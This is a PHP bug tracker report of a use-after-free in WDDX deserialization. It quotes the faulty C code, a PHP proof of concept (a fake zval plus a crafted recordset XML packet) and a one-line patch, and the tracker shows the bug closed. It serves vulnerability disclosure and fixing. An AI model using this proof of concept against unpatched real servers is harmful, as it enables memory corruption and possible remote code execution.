Use After Free Vulnerability in WDDX Packet Deserialization
[2015-10-07 17:08 UTC] taoguangchen at icloud dot com
Description:
------------
```
if (Z_TYPE_P(ent2->data) == IS_ARRAY || Z_TYPE_P(ent2->data) == IS_OBJECT) {
target_hash = HASH_OF(ent2->data);
if (ent1->varname) {
if (!strcmp(ent1->varname, PHP_CLASS_NAME_VAR) &&
Z_TYPE_P(ent1->data) == IS_STRING && Z_STRLEN_P(ent1->data)) {
...
/* Clean up old array entry */
zval_ptr_dtor(&ent2->data);
/* Set stack entry to point to the newly created object */
ent2->data = obj;
/* Clean up class name var entry */
zval_ptr_dtor(&ent1->data);
```
in during wddx packet deserialization, the zval_ptr_dtor() lead ZVAL is freed from the memory, however a crafted recordset can still use already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely
PoC:
```
<?php
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$x = <<<EOT
<?xml version='1.0'?>
<wddxPacket version='1.0'>
<header/>
<data>
<struct>
<recordset rowCount='1' fieldNames='ryat'>
<field name='ryat'>
<var name='php_class_name'>
<string>stdClass</string>
</var>
<null/>
</field>
</recordset>
</struct>
</data>
</wddxPacket>
EOT;
$y = wddx_deserialize($x);
for ($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}
var_dump($y);
function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
?>
```
fix
```
if (ent1->varname) {
if (!strcmp(ent1->varname, PHP_CLASS_NAME_VAR) &&
- Z_TYPE_P(ent1->data) == IS_STRING && Z_STRLEN_P(ent1->data)) {
+ Z_TYPE_P(ent1->data) == IS_STRING && Z_STRLEN_P(ent1->data) && ent2->type == ST_STRUCT) {
```
[2015-12-28 22:47 UTC] stas@php.net
-Assigned To: +Assigned To: stas
[2015-12-28 22:47 UTC] stas@php.net
[2016-01-06 03:17 UTC] stas@php.net
-Status: Assigned +Status: Closed
[2016-01-06 03:17 UTC] stas@php.net
[2016-02-02 10:54 UTC] korvin1986 at gmail dot com